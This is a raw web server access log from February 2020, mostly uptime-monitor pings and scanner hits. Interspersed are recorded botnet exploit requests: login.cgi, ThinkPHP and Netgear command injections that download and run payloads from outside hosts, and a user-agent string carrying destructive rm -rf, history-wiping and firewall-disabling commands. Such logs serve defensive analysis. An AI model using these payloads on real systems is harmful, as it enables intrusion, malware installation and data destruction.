212.91.246.72 - - [24/Feb/2020:11:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:12:00:42 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:12:01:15 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.222.90.93 - - [24/Feb/2020:12:02:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [24/Feb/2020:12:03:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [24/Feb/2020:12:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.41.175.192 - - [24/Feb/2020:12:04:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:12:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.107.81.114 - - [24/Feb/2020:12:07:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:12:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [24/Feb/2020:12:09:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:12:09:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:12:10:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.173.206.179 - - [24/Feb/2020:12:10:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.164.35.72 - - [24/Feb/2020:12:10:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:12:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [24/Feb/2020:12:10:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:12:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:12:13:08 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:12:13:09 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:12:13:42 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:12:13:44 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
93.150.12.182 - - [24/Feb/2020:12:14:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:12:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [24/Feb/2020:12:17:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [24/Feb/2020:12:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.93.64.183 - - [24/Feb/2020:12:19:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:12:19:56 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:12:20:31 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
2.183.227.196 - - [24/Feb/2020:12:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.152 - - [24/Feb/2020:12:23:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:12:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.195.37.253 - - [24/Feb/2020:12:25:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.230.85.194 - - [24/Feb/2020:12:27:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:12:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.215.222.94 - - [24/Feb/2020:12:30:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
54.180.102.65 - - [24/Feb/2020:12:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:12:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:12:34:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:12:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.187.74.50 - - [24/Feb/2020:12:36:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:12:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [24/Feb/2020:12:38:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
167.62.142.126 - - [24/Feb/2020:12:39:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:12:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.52.45.66 - - [24/Feb/2020:12:40:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:12:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.45.75.196 - - [24/Feb/2020:12:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:12:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.234.65.237 - - [24/Feb/2020:12:47:26 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [24/Feb/2020:12:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [24/Feb/2020:12:47:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:12:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.90.205.66 - - [24/Feb/2020:12:50:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:12:52:47 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:12:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [24/Feb/2020:12:54:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:12:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:12:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.255.186.130 - - [24/Feb/2020:13:03:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:13:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [24/Feb/2020:13:05:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [24/Feb/2020:13:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.143.32.6 - - [24/Feb/2020:13:06:38 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [24/Feb/2020:13:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [24/Feb/2020:13:07:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [24/Feb/2020:13:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.234.6.68 - - [24/Feb/2020:13:09:30 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.234.6.68 - - [24/Feb/2020:13:09:30 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.234.6.68 - - [24/Feb/2020:13:09:31 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.234.6.68 - - [24/Feb/2020:13:09:31 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.234.6.68 - - [24/Feb/2020:13:09:33 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.234.6.68 - - [24/Feb/2020:13:09:33 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.234.6.68 - - [24/Feb/2020:13:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
176.9.111.189 - - [24/Feb/2020:13:09:56 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109)"
176.9.111.189 - - [24/Feb/2020:13:10:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109)"
212.91.246.72 - - [24/Feb/2020:13:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.116.241.247 - - [24/Feb/2020:13:12:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [24/Feb/2020:13:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.161.3.21 - - [24/Feb/2020:13:17:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:13:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:13:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:13:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:13:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
